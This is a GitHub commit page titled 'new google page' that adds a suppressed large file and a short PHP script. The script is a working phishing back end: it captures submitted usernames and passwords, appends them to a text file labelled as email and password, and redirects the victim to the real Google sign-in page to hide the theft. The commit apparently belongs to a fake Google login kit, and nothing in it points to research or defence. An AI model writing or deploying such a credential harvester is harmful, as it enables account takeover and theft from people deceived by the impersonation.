new google page

This commit is contained in:
Usama Abdul Sattar 2018-04-24 10:30:11 +05:00 committed by GitHub
parent 3bb4e90ba6
commit ffa512eed8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 1614 additions and 0 deletions

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,14 @@
<?php
$var = $_POST['username'];
$var2 = $_POST['password'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>WELCOME</title></html>";
if($myFile != $searchString) {
file_put_contents("usernames.txt", "[EMAIL]: " . $var . " [PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location:https://accounts.google.com');
}
if($myFile != $searchString) {
echo "LOGIN SUCCESSFULL";
}
exit();
?>